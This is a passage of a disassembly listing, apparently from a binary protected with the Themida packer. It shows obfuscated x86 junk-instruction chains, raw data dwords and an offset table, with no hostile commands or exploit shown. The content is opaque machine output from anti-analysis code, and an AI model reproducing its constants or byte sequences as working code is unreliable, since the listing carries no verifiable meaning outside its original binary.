		jmp	loc_5584C2
; ---------------------------------------------------------------------------


loc_55B760:				; CODE XREF: Themida_:00558A1Dj
		or	edx, 229B7B61h
		not	edx
		sub	edx, 683D356Ch
		add	edi, edx
		pop	edx
		pop	edx
		and	eax, edi
		pop	edi
		jmp	loc_55368C
; ---------------------------------------------------------------------------
		dw 0E95Ch
		dd 0FFFF4168h, 0E2E92504h
		db 0CAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B787:				; CODE XREF: Themida_:00550DCAj
		pop	esp
		mov	[esp], ebx
		add	dword ptr [esp], 12EC06A1h
		pop	eax
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 12EC06A1h
		sub	eax, esi
		push	dword ptr [esp]
		pop	esi
		sub	esp, 4
		mov	[esp], esi
		push	esp
		pop	esi
		add	esi, 4
		jmp	loc_553152
; ---------------------------------------------------------------------------
		dw 3359h
		dd 1C31241Ch, 241C3324h, 0E924248Bh, 0FFFFD307h, 0E909E280h
		dd 0FFFFD9D4h, 0E63AAAB9h, 0C1D9F776h, 0C18103E9h, 679B3E35h
		dd 41FFE983h, 0FF7645E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55B7ED:				; CODE XREF: Themida_:005531A2j
		and	ecx, 2C5D2686h
		sub	ecx, 0E1D5D2BBh
		mov	edi, ecx
		pop	ecx
		xor	esi, edi
		mov	edi, [esp]
		add	esp, 4
		sub	esi, 409F3134h
		xor	esi, 0FAA278AEh
		jmp	loc_557646
; ---------------------------------------------------------------------------
		dd 724D7105h, 6C853513h, 0B6E92B49h, 83FFFFDBh,	0EA8804C4h
		dd 81EDE959h, 2B9FFFFh,	55000000h, 6346ACBDh, 7F69E927h
		dd 8B66FFFFh, 0A1E9240Ch, 81FFFF75h, 0B5187ACDh, 81E5D16Ah
		dd 205700E5h, 0FF58161h, 811EB950h, 3F143EDh, 8BEA21E3h
		dd 80E9242Ch, 5FFFFFDDh, 0E903E8C1h, 0FFFF59B0h, 0E924048Fh
		dd 0FFFFE4DEh, 0C3815E5Bh, 748A3F9Ch, 7C94CB81h, 0C3810ADEh
		dd 267643FAh, 7DE9DBF7h, 89FFFFBFh, 5DE92414h, 83FFFF78h
		dd 348904ECh, 2CAB6824h, 2C890000h, 71426824h, 0E95D33A2h
		dd 0FFFFDE74h
; ---------------------------------------------------------------------------


loc_55B8BC:				; CODE XREF: Themida_:00557813j
		mov	bl, dl
		jmp	loc_555ED8
; ---------------------------------------------------------------------------
		db 81h
		dd 123DE2C9h, 0AE23E975h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B8CE:				; CODE XREF: Themida_:00559836j
		sub	ebx, edx
		jmp	loc_556D33
; ---------------------------------------------------------------------------
		db 89h,	34h, 24h
		dd 4BEh, 5EF00100h, 0FF83F9E9h,	4EC83FFh, 50242C89h, 0FFE330E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55B8F1:				; CODE XREF: Themida_:0055747Fj
		xchg	ebp, [esp]
		pop	esp
		add	al, bl
		pop	ebx
		xor	bl, al
		movzx	eax, al
		pop	small word ptr [edi+eax*4]
		jmp	loc_54F8E8
; ---------------------------------------------------------------------------
		dw 0E954h
		dd 0FFFFAEDEh
; ---------------------------------------------------------------------------


loc_55B90C:				; CODE XREF: Themida_:00556F21j
		not	ecx
		xchg	ecx, ebx
		xchg	ebx, esi
		xchg	esi, [esp]
		push	dword ptr [esp]
		pop	eax
		push	1722h
		mov	[esp], ebp
		jmp	loc_55A079
; ---------------------------------------------------------------------------
		dw 0E389h
		dd 4C381h, 0EB810000h, 4, 0FFCCF0E9h, 0EC8356FFh, 0F8ABE904h
		dd 6855FFFFh, 473h, 0BE243489h,	28h, 348BF589h,	4C48324h
		dd 6960E955h, 0DA08FFFFh, 0A5BFE95Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B966:				; CODE XREF: Themida_:00552646j
		mov	[esp], eax
		mov	eax, 2
		add	esi, 723E2831h
		add	esi, 467D1B09h
		add	esi, eax
		sub	esi, 467D1B09h
		push	edi
		mov	edi, 723E2831h
		sub	esi, edi
		pop	edi
		pop	eax
		jmp	loc_552165
; ---------------------------------------------------------------------------


loc_55B991:				; CODE XREF: Themida_:00559C9Aj
		mov	[esp], eax
		xchg	edi, [esp]
		jmp	loc_550B88
; ---------------------------------------------------------------------------


loc_55B99C:				; CODE XREF: Themida_:0055708Fj
		pop	esp
		mov	[esp], ecx
		mov	ecx, 4
		jmp	loc_5586FB
; ---------------------------------------------------------------------------
		dw 2C87h
		dd 34FF5C24h, 89515824h, 8A22E9E1h, 8B5AFFFFh, 0C4832404h
		dd 0DEC18004h, 4EC81h, 14890000h, 0C040B624h, 0C68007EEh
		dd 5AF13003h, 0FF9C39E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55B9DD:				; CODE XREF: Themida_:00558CCAj
		add	esi, edx
		jmp	loc_54FCA5
; ---------------------------------------------------------------------------
		dd 4C581h, 0C5830000h, 242C8702h, 288645Ch, 0FFA78BE9h
		dd 81E289FFh, 4C2h, 2BD5500h, 68000000h, 3173h,	0BE243489h
		dd 68154277h, 241DF681h, 0D6F735DCh, 5005E6C1h,	0FF55D4E9h
		dd 2EADB8FFh, 92E97A03h, 83FFFF69h, 555104C4h, 422FD668h
		dd 0CE2EE967h, 12B8FFFFh, 0E9242046h, 0FFFF4071h, 815AD301h
		dd 0DF57D4C3h, 5BDD01AFh, 5156C581h, 0D5F76FF4h, 33E8CD81h
		dd 45E901CAh, 87FFFF49h, 0E9DFF7FBh, 0FFFFA414h
; ---------------------------------------------------------------------------


loc_55BA70:				; CODE XREF: Themida_:00556054j
		mov	[esp], ebx
		push	edx
		mov	dl, 0A7h
		jmp	loc_550B7D
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFF3E68h
; ---------------------------------------------------------------------------


loc_55BA80:				; CODE XREF: Themida_:00556CC5j
		pop	edx
		mov	ecx, esi
		jmp	loc_55ACB7
; ---------------------------------------------------------------------------
		dd 9C2424D3h, 0FF3E57E9h, 8392DFFh, 89572501h, 0E8AFE9C7h
		dd 0EF29FFFFh, 898DE95Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55BAA6:				; CODE XREF: Themida_:00557E0Bj
		xor	ebp, [esp]
		pop	esp
		or	eax, eax
		jz	loc_55421C
		push	dword ptr [edi+1Ch]
		push	eax
		mov	eax, 2462C59h
		sub	[esp+4], eax
		pop	eax
		pop	ecx
		push	278Dh
		mov	[esp], esi
		push	545C5A23h
		mov	esi, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		shr	esi, 6
		xchg	edx, esi
		not	edx
		xchg	edx, esi
		inc	esi
		shr	esi, 8
		xor	esi, 2B882D7h
		add	ecx, 2BD93AFEh
		add	ecx, esi
		jmp	loc_5573E8
; ---------------------------------------------------------------------------
		dd 0E95E5456h, 0FFFF51E4h, 0E9E9F65Ch, 0FFFFEBC7h, 0BE27BF57h
		dd 0FE31F3AFh, 5EF2015Fh, 0FF76DEE9h, 24048FFFh, 243C875Ch
		dd 240C895Ch, 0FF3DB3E9h, 4C181FFh, 81000000h, 4C1h, 240C8700h
		dd 4C4835Ch, 4BD55h, 0FEE90000h, 83FFFF66h, 20504C4h, 33000000h
		dd 4312404h, 0D785E924h, 0C328FFFFh, 0FCAEB80h,	34FFC0B6h
		dd 0E7895787h, 4C781h, 71E90000h, 66000000h, 31E9565Ah
		db 0DFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55BB87:				; CODE XREF: Themida_:005534A0j
		pop	ecx
		jmp	loc_5570D1
; ---------------------------------------------------------------------------
		db 0F7h, 0D3h, 4Bh
		dd 0C102BE56h, 0F329AB1Eh, 0FFC4E7E9h, 46EE81FFh, 891C81B5h
		dd 0E8C15EF0h, 3E0C104h, 12Dh, 0CDFD0500h, 0E8E9CFB3h
		dd 29FFFF4Dh, 3C875DEFh, 89665C24h, 50662414h, 3D1AE99Ch
		dd 0C15DFFFFh, 90E903E9h
		db 59h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55BBD7:				; CODE XREF: Themida_:005574DCj
		and	ebp, 9A21AA0h
		push	eax
		mov	eax, 63326529h
		add	ebp, eax
		pop	eax
		add	ecx, ebp
		pop	ebp
		add	ebx, ecx
		jmp	loc_558F27
; ---------------------------------------------------------------------------
		dd 8704EF83h, 895C243Ch, 3FE92404h, 51FFFFFEh, 63281FB9h
		dd 39AFBB14h, 0CB010D91h, 83240C8Bh, 0E3C104C4h, 0B8E38104h
		dd 5000A644h, 718ABB8h,	0E9C3092Dh, 0FFFFA803h,	0C380C328h
		dd 39C380B4h, 0D5C38058h, 281DC380h, 0B65250C3h, 28C4B455h
		dd 0E4805AF4h, 0D5CC800Dh, 0FFB590E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55BC4D:				; CODE XREF: Themida_:00552505j
		pop	ebx
		mov	edi, [esp]
		jmp	loc_55AA0C
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 44E92404h, 1FFFF62h,	5E082474h, 3C7EE959h, 77FFFFFFh
		dd 59669D1Ch, 9C2414D3h, 0FF3C6FE9h, 243487FFh,	2414875Ch
		dd 8139E95Ch, 8758FFFFh, 555C240Ch, 0FFD5D9E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55BC91:				; CODE XREF: Themida_:0055127Fj
		xchg	ebx, [esp]
		pop	esp
		shr	ecx, 0Ah
		push	ebx
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 72784F02h
		xor	[esp+4], edi
		jmp	loc_54FF58
; ---------------------------------------------------------------------------
		db 5, 72h, 73h
		dd 0C801739Fh, 9F73722Dh, 8D9AE973h, 52ACFFFFh,	74896853h
		dd 3BE90000h, 66FFFFE6h, 15E9028Fh, 87FFFF3Ch, 5DE92414h
		dd 0ADFFFFDFh, 0FFC31CE9h, 3B36BAFFh, 0CA81058Fh, 64CA564Fh
		dd 6D068h, 3F46E900h, 0E95CFFFFh, 0FFFFE48Bh
; ---------------------------------------------------------------------------


loc_55BCFC:				; CODE XREF: Themida_:00552683j
		div	cl
		movzx	cx, ah
		push	small 7E15h
		mov	[esp], cx
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_559865
; ---------------------------------------------------------------------------


loc_55BD16:				; CODE XREF: Themida_:00558B8Cj
		shl	esi, 5
		sub	esi, 0C6345E5Bh
		and	ebx, esi
		jmp	loc_5582FC
; ---------------------------------------------------------------------------
		dw 348Bh
		dd 4C48124h, 68000000h,	41E5h, 0B8240489h, 4, 199CC281h
		dd 0B5E92174h, 81FFFFD2h, 8CD30CEEh, 5EF2016Bh,	2B850h
		dd 0C2010000h, 8124048Bh, 4C4h,	74FF5200h, 8F5A0424h, 665C2404h
		dd 5024048Bh, 0EC815854h, 4, 0FFE916E9h, 386851FFh, 59000000h
		dd 414AE952h, 0D366FFFFh, 0E99C2424h, 0FFFF3B54h
; ---------------------------------------------------------------------------


loc_55BD94:				; CODE XREF: Themida_:00556879j
		pop	edi
		add	ecx, 3BDF48D4h
		xor	ecx, 758C4FE0h
		mov	esi, ecx
		pop	ecx
		and	eax, esi
		jmp	loc_556F80
; ---------------------------------------------------------------------------
		db 89h
		dd 4832424h, 1C8B0424h,	4C48324h, 4C381h, 81560000h, 4ECh
		dd 240C8900h, 0FF54F1E9h, 5BEA81FFh, 165B653h, 5BB951C2h
		dd 0E965B653h, 0FFFF9084h, 4C481h, 0E9560000h, 0FFFF9212h
		dd 565EF701h, 773DB5BEh, 0C1464623h, 0EE8107EEh, 46EE77h
		dd 24B7C781h, 0C78160A0h, 327F6A58h, 5FE9F701h
		db 0A6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55BE13:				; CODE XREF: Themida_:00551D90j
		mov	[esp], ebp
		pop	eax
		mov	ebp, [esp]
		push	ebp
		jmp	loc_550487
; ---------------------------------------------------------------------------
		dd 4FD9B951h, 0E9506B98h, 0FFFFE959h, 24048B66h, 2A3268h
		dd 24348900h, 0FF7578E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55BE3D:				; CODE XREF: Themida_:005541D4j
		add	ebx, ecx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		jmp	loc_554F26
; ---------------------------------------------------------------------------
		db 0FFh
		dd 0E9582434h, 0FFFFE31Ch
; ---------------------------------------------------------------------------


loc_55BE54:				; CODE XREF: Themida_:00554741j
		pop	ebp
		mov	ebx, edi
		pop	edi
		push	eax
		mov	eax, 24h
		jmp	loc_558829
; ---------------------------------------------------------------------------


loc_55BE63:				; CODE XREF: Themida_:0055324Fj
		pop	ecx
		push	363Bh
		mov	[esp], edx
		mov	edx, 4
		add	ecx, edx
		pop	edx
		add	ecx, 4
		push	39E8h
		mov	[esp], ecx
		jmp	loc_54FB3A
; ---------------------------------------------------------------------------
		db 5Eh
		dd 8103E2C1h, 0EE5002C2h, 0FBC781DAh, 810C211Dh, 532067C7h
		dd 81D70136h, 532067EFh, 0FBEF8136h, 8B0C211Dh,	0C4832414h
		dd 243C3304h, 0FF5D0CE9h, 242C8BFFh, 6804C483h,	245Fh
		dd 51240489h, 230C1068h, 0D2CEE927h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55BED2:				; CODE XREF: Themida_:00550230j
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_550619
; ---------------------------------------------------------------------------


loc_55BEDB:				; CODE XREF: Themida_:005587D3j
		push	edx
		mov	edx, 4
		add	ebp, edx
		pop	edx
		xchg	ebp, [esp]
		pop	esp


loc_55BEE8:				; CODE XREF: Themida_:0055317Ej
		push	2CC2h
		mov	[esp], eax
		sub	esp, 4
		mov	[esp], ebx
		push	edi
		jmp	loc_555FBE
; ---------------------------------------------------------------------------
		dd 30D3F480h, 2434FFE6h, 4C48158h, 0C0000000h, 516607E6h
		dd 0AE9F188h, 5DFFFF71h, 4244481h, 733E1D26h, 4244481h
		dd 20295F99h, 4244429h,	4246C81h, 20295F99h, 4246C81h
		dd 733E1D26h, 39A6E958h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55BF42:				; CODE XREF: Themida_:0055B524j
		dec	dl
		xchg	al, dl
		not	al
		xchg	al, dl
		xor	dl, 64h
		add	dl, 76h
		mov	cl, dl
		pop	edx
		shl	cl, 5
		jmp	loc_555EDE
; ---------------------------------------------------------------------------
		db 5Bh
		dd 0FF99DCE9h, 16EBAFFh, 0EA814076h, 4AB6658Ah,	0D54EC281h
		dd 0D5216610h, 0FF700CE9h, 0E9DF01FFh, 0FFFF8644h
; ---------------------------------------------------------------------------


loc_55BF80:				; CODE XREF: Themida_:00556681j
		mov	[esp], edx
		push	eax
		mov	ah, bl
		jmp	loc_54FF15
; ---------------------------------------------------------------------------
		db 81h
		dd 4C5h, 4ED8300h, 0FF566CE9h, 81E289FFh, 4C2h,	44F3E900h
		dd 2BAFFFFh, 0E9000000h, 0FFFFBFD8h, 835E5456h,	2C8904ECh
		dd 0B7BE5624h, 0BD2B8F45h, 40D9398Ah, 685EF501h, 15D3h
		dd 0E9241489h, 0FFFFFF8Dh
; ---------------------------------------------------------------------------


loc_55BFD4:				; CODE XREF: Themida_:0055A644j
		pop	esp
		mov	[esp], esi
		mov	esi, 56D9033Bh
		jmp	loc_550E9F
; ---------------------------------------------------------------------------


loc_55BFE2:				; CODE XREF: Themida_:0055228Bj
		mov	ecx, esp
		add	ecx, 4
		push	ebp
		mov	ebp, 3BFE1B95h
		push	esi
		jmp	loc_557ABA
; ---------------------------------------------------------------------------
		dw 0E954h
		dd 0FFFF9840h, 0F9AB78C5h, 0A169DDh, 1207h, 205103DCh
		dd 7FFE0304h, 0
		dd offset word_5B6282
		dd 217h, 2, 2 dup(1), 0F9AB78C5h, 5 dup(0)
		dd offset byte_5627F1
		dd offset word_56C852
		dd offset aFlSO		; "f$${"
		dd offset byte_56AE71
		dd offset byte_562621
		dd offset word_56E552
		dd offset byte_56A463
		dd offset dword_568BAC
		dd offset dword_55F460
		dd offset byte_5700AF
		dd offset dword_56E610
		dd offset aM0Smq	; "0M"
		dd offset byte_560E13
		dd offset byte_5660CB
		dd offset byte_5614E9
		dd offset byte_55DF79
		dd offset word_566E82
		dd offset word_55E922
		dd offset byte_55C5E3
		dd offset byte_565489
		dd offset byte_5681DD
		dd offset byte_55E741
		dd offset word_56EBA2
		dd offset off_56A90E
		dd offset dword_5625C0
		dd offset byte_569197
		dd offset byte_563D13
		dd offset byte_563B1F
		dd offset word_569252
		dd offset byte_565511
		dd offset word_56EA92
		dd offset byte_560651
		dd offset byte_568693
		dd offset word_56824E
		dd offset byte_55DF2B
		dd offset byte_5656E9
		dd offset byte_570971
		dd offset byte_563CCB
		dd offset byte_564537
		dd offset word_5603C2
		dd offset dword_560CB4
		dd offset word_56294E
		dd offset byte_563BDD
		dd offset aMs		; ""
		dd offset byte_5609BD
		dd offset byte_56E1F7
		dd offset byte_56FAD9
		dd offset byte_55CC07
		dd offset byte_56EBED
		dd offset word_56B636
		dd offset byte_55F589
		dd offset word_566306
		dd offset byte_56470B
		dd offset dword_56D668
		dd offset byte_56B735
		dd offset byte_5653DB
		dd offset byte_55CD7F
		dd offset byte_570A3F
		dd offset byte_5680E1
		dd offset byte_562121
		dd offset off_564081
		dd offset byte_5626A7
		dd offset byte_55F825
		dd offset dword_5659C4
		dd offset byte_55C7A3
		dd offset dword_560244
		dd offset byte_5607F1
		dd offset word_56A52E
		dd offset byte_562653
		dd offset byte_564F2D
		dd offset byte_55F59F
		dd offset byte_56AEEB
		dd offset byte_56D48D
		dd offset word_55F3F2
		dd offset byte_55F1DF
		dd offset word_56678A
		dd offset dword_56C310
		dd offset word_56076A
		dd offset byte_56D06D
		dd offset byte_570A11
		dd offset byte_55F679
		dd offset dword_568D68
		dd offset word_5642C6
		dd offset dword_56B110
		dd offset dword_56A4D4
		dd offset dword_564D68
		dd offset dword_5700B8
		dd offset aRvse9	; "RVE9"
		dd offset dword_55D578
		dd offset byte_5710AD
		dd offset byte_55CC37
		dd offset byte_56CDBD
		dd offset byte_55F8C3
		dd offset word_56EBAE
		dd offset byte_55EBB3
		dd offset byte_561F93
		dd offset byte_55D5B7
		dd offset byte_56CAAD
		dd offset word_55CAB2
		dd offset dword_565388
		dd offset dword_565580
		dd offset dword_55EA68
		dd offset aMht		; "hT+"
		dd offset byte_565377
		dd offset byte_566B6F
		dd offset word_56B692
		dd offset byte_569887
		dd offset byte_562C49
		dd offset byte_566E63
		dd offset dword_568834
		dd offset dword_56ABAC
		dd offset byte_56995B
		dd offset byte_56F8A5
		dd offset byte_55E029
		dd offset byte_56BA03
		dd offset word_5611DA
		dd offset byte_5715BB
		dd offset byte_56F801
		dd offset dword_5667E4
		dd offset byte_570183
		dd offset byte_561DB5
		dd offset byte_563B31
		dd offset word_56A72E
		dd offset byte_56C4CF
		dd offset byte_560AE9
		dd offset dword_5614FC
		dd offset byte_5658DB
		dd offset byte_56B871
		dd offset dword_566D90
		dd offset dword_56E33C
		dd offset word_5706F2
		dd offset byte_55ED7F
		dd offset aN1H		; "1h-"
		dd offset byte_56AC91
		dd offset word_563C5E
		dd offset word_56B756
		dd offset word_56982E
		dd offset word_5673D2
		dd offset byte_567697
		dd offset byte_56A283
		dd offset dword_566324
		dd offset dword_5606AC
		dd offset dword_56BE34
		dd offset word_571202
		dd offset word_56EC2E
		dd offset byte_55FA73
		dd offset byte_55D61B
		dd offset dword_55F89C
		dd offset byte_55F0AD
		dd offset word_56E03A
		dd offset dword_55DB14
		dd offset word_565786
		dd offset byte_565597
		dd offset dword_55E05C
		dd offset byte_5621A5
		dd offset byte_55D42F
		dd offset byte_570B7F
		dd offset byte_570E8D
		dd offset byte_565883
		dd offset byte_567A6D
		dd offset dword_570988
		dd offset byte_56704F
		dd offset byte_5703AD
		dd offset byte_56A053
		dd offset dword_568394
		dd offset byte_5708F9
		dd offset byte_56517F
		dd 0E8FC9C60h, 0
		dd 1FEF815Fh, 8B06AA4Ah, 37C781C7h, 3B06AA47h, 2752C47h
		dd 478913EBh, 0A7B92Ch,	5EB0000h, 408F4401h, 75C90B49h
		dd 24748BF7h, 3DE8B24h,	1B9F0h,	0C0330000h, 4FB10FF0h
		db 30h,	75h, 0F7h
; ---------------------------------------------------------------------------


loc_55C323:				; CODE XREF: Themida_:0055E381j
					; Themida_:0055E8D9j ...
		lodsb
		sub	esp, 4
		mov	[esp], ecx
		mov	cl, 0ABh
		jmp	loc_560F01
; ---------------------------------------------------------------------------
		dd 8924248Bh, 74FF241Ch, 0E95B0424h, 0C20Ch
; ---------------------------------------------------------------------------


loc_55C344:				; CODE XREF: Themida_:0055C47Bj
		mov	ebx, [esp]
		add	esp, 4
		pop	ecx
		push	ecx
		mov	ecx, 5A641304h
		shr	ecx, 8
		add	ecx, 0FFA59BF1h
		add	ebp, 7DA74C74h
		add	ebp, ecx
		sub	ebp, 7DA74C74h
		pop	ecx
		xchg	ebp, [esp]
		pop	esp
		push	eax
		push	335Ch
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], esp
		push	esi
		mov	esi, 4
		add	[esp+4], esi
		pop	esi
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		pop	eax
		jmp	loc_55DCFD
; ---------------------------------------------------------------------------
		dd 0F912C381h, 0D889387Ch, 5E1355Bh, 74050A77h,	0E917D571h
		dd 3B59h, 4244481h, 224B2D76h, 28E1E9h,	24048700h, 8F24248Bh
		dd 248B2404h, 0F1C7E924h, 0E9510000h, 0CA43h, 4C381h, 0C3830000h
		dd 46AAE902h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55C3EE:				; CODE XREF: Themida_:005674B4j
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		add	eax, edx
		pop	edx
		jmp	loc_563C02
; ---------------------------------------------------------------------------


loc_55C3FD:				; CODE XREF: Themida_:0055D75Fj
		mov	eax, 4
		sub	ebp, 77209B8h
		add	ebp, eax
		add	ebp, 77209B8h
		mov	eax, [esp]
		add	esp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		jmp	loc_55EAF2
; ---------------------------------------------------------------------------
		db 5, 54h, 65h
		dd 0C101641Dh, 0EDE8E9h
		db 0
; ---------------------------------------------------------------------------


loc_55C42D:				; CODE XREF: Themida_:0056073Ej
		push	1D1F453Eh
		pop	esi
		shr	esi, 3
		xor	esi, 4FFD30AFh
		jmp	loc_5607C1
; ---------------------------------------------------------------------------


loc_55C441:				; CODE XREF: Themida_:005630B8j
		push	esp
		mov	edx, [esp]
		jmp	loc_56410D
; ---------------------------------------------------------------------------
		dw 62B9h
		dd 0E922DB8Ah, 1198Bh, 0C5815D58h, 4, 8A768h, 240C8900h
		dd 2AB5BB53h, 0C381465Eh, 0C1D31BB0h, 555BD989h, 13C5EE9h
		db 0
; ---------------------------------------------------------------------------


loc_55C479:				; CODE XREF: Themida_:0055FBA6j
		sub	ebp, ebx
		jmp	loc_55C344
; ---------------------------------------------------------------------------
		dd 73EE956h, 3C870001h,	0F7E95C24h, 660000A4h, 2404B30Fh
		dd 5E66E99Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55C49A:				; CODE XREF: Themida_:005665DAj
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		sub	bl, al
		sub	bl, 76h
		push	6C34h
		mov	[esp], eax
		mov	al, 0CDh
		jmp	loc_568079
; ---------------------------------------------------------------------------
		db 52h,	81h, 0ECh
		dd 4, 52243489h, 0A80D71BAh, 0FFD6893Eh, 815A2434h, 4C4h
		dd 0E19FE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55C4D6:				; CODE XREF: Themida_:0055F292j
		add	edi, edx
		pop	edx
		add	edi, 4
		push	edi
		jmp	loc_56A2C6
; ---------------------------------------------------------------------------


loc_55C4E2:				; CODE XREF: Themida_:0055DDF3j
		mov	edx, 50850BE9h
		dec	edx
		xor	edx, 41D7038Eh
		add	eax, edx
		pop	edx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		add	eax, 4
		jmp	loc_567F0E
; ---------------------------------------------------------------------------
aSrXs?		db 'RX?',0
		dd 24248B00h, 0FF243489h, 34FF2434h, 0C4815B24h, 4, 8B04C483h
		dd 0C4812434h, 4, 83E08950h, 3C8904ECh,	4BF24h,	0F8010000h
		dd 368C685Fh, 49E90000h
		db 18h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55C547:				; CODE XREF: Themida_:0056A769j
		add	esp, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		jmp	loc_563EA5
; ---------------------------------------------------------------------------


loc_55C558:				; CODE XREF: Themida_:00560FE2j
		mov	ecx, [esp]
		jmp	loc_566837
; ---------------------------------------------------------------------------
		dd 70EFC781h, 0C781406Ch, 94296348h, 44B7EE81h,	0FE290364h
		dd 44B7C681h, 34FF0364h, 243C8B24h, 815F5457h, 4C7h, 6F01E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55C58E:				; CODE XREF: Themida_:00564654j
		push	6E572015h
		mov	ebp, [esp]
		add	esp, 4
		add	ebp, 316F78A8h
		inc	ebp
		jmp	loc_55F43C
; ---------------------------------------------------------------------------
		db 53h,	58h, 8Bh
		dd 44E9241Ch, 6800004Eh, 55DDh,	89243C89h, 1A45E9E7h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55C5BE:				; CODE XREF: Themida_:0056556Cj
		push	2318h
		mov	[esp], edx
		push	ecx
		mov	ecx, 18EA79B9h
		jmp	loc_561853
; ---------------------------------------------------------------------------
		db 5Ch,	66h, 89h
		dd 0F188240Ch, 5145E9h,	46E95D00h
		db 11h,	1, 0
byte_55C5E3	db 66h			; DATA XREF: Themida_:0055C088o
		dd 68240C8Bh, 8D3h, 0E05AE9h
		db 0
; ---------------------------------------------------------------------------


loc_55C5F1:				; CODE XREF: Themida_:0056B808j
		sub	ecx, ebx
		pop	ebx
		sub	edx, 76B56B33h
		push	1EA1h
		mov	[esp], esi
		push	ecx
		mov	ecx, 522D1E64h
		jmp	loc_56AF40
; ---------------------------------------------------------------------------


loc_55C60D:				; CODE XREF: Themida_:0055D21Fj
		push	esi
		jmp	loc_569637
; ---------------------------------------------------------------------------
		db 0B6h
		dd 80CEFED5h, 0EEC03FEEh, 0C4C68008h, 0E95AF000h, 73F6h
		dd 405E089h, 83000000h,	0B9E902C0h, 5E000023h, 3DE9D501h
		dd 8B000022h, 0C481243Ch, 4, 8704EB83h,	248B241Ch, 242C8924h
		dd 0B34EE9h
		db 0
; ---------------------------------------------------------------------------


loc_55C659:				; CODE XREF: Themida_:00562798j
		push	100h
		mov	edx, [esp]
		jmp	loc_565D3D
; ---------------------------------------------------------------------------
		dw 0BA52h
		dd 3EB938D5h, 815AD731h, 92591DC2h, 81FA292Ch, 92591DEAh
		dd 0A0E95F2Ch, 81FFFFFCh, 4C4h,	0A802E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55C68E:				; CODE XREF: Themida_:0056FD9Bj
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		mov	ecx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_55E2E7
; ---------------------------------------------------------------------------
		dw 0EB80h
		dd 80EB00B6h, 5966B6C3h, 0A5E9C300h, 8F0000DCh,	248B2404h
		dd 4FF6624h, 5CE99C24h,	8FFFFFCh, 0F4805AD4h, 1C48071h
		dd 59C480h, 0CBE958E3h
		db 8Eh,	2 dup(0)
aM0Smq		db '0M',0           ; DATA XREF: Themida_:0055C06Co
		dw 0C100h
		dd 0EE8102EEh, 0F3815C90h, 96DEE9h, 0E9D12900h,	254Dh
; ---------------------------------------------------------------------------


loc_55C6F8:				; CODE XREF: Themida_:0055CE50j
		mov	ebx, 757668BDh
		mov	ecx, ebx
		pop	ebx
		push	esi
		jmp	loc_561E77
; ---------------------------------------------------------------------------


loc_55C706:				; CODE XREF: Themida_:0056CE48j
		pop	edx
		add	ebx, edx
		add	ebx, 9734E1Fh
		pop	edx
		sub	edi, ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_55F576
; ---------------------------------------------------------------------------
		dd 81E78957h, 4C7h, 4EF8300h, 3E5E9h, 2434FF00h, 0E789575Ah
		dd 4C781h, 0C7830000h, 243C8704h, 2FE1685Ch, 2C890000h
		dd 81E58924h, 4C5h, 29B66800h, 1C890000h, 204FE924h, 835A0001h
		dd 48904ECh, 0FD71E924h, 52590000h, 0C718BDBAh,	93EA8146h
		dd 291EB800h, 4EA3E9D1h, 0C890000h, 0E9575624h,	427Ch
		dd 4BBh, 0E9DE0100h, 12691h, 4C681h, 5AE90000h
		db 43h,	2 dup(0)
byte_55C7A3	db 0FFh			; DATA XREF: Themida_:0055C140o
		dd 669D1C77h, 241CD259h, 0FB71E99Ch, 483FFFFh, 7FE90424h
		dd 580000C8h, 0DD39E955h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55C7C2:				; CODE XREF: Themida_:0055DC51j
		pop	edx
		add	ebp, edx
		add	ebp, 6025434Fh
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		jmp	loc_567795
; ---------------------------------------------------------------------------
		db 3
		dd 34FF5901h, 241C8B24h, 0DDD7E9h, 24148900h, 0DC0F30BAh
		dd 0DFBD5532h, 1443921h, 93E95DE9h
		db 0AAh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_55C7FB:				; CODE XREF: Themida_:0056C9CEj
		add	esp, 4
		xor	eax, 7F681AD2h
		and	ebp, eax
		mov	eax, [esp]
		add	esp, 4
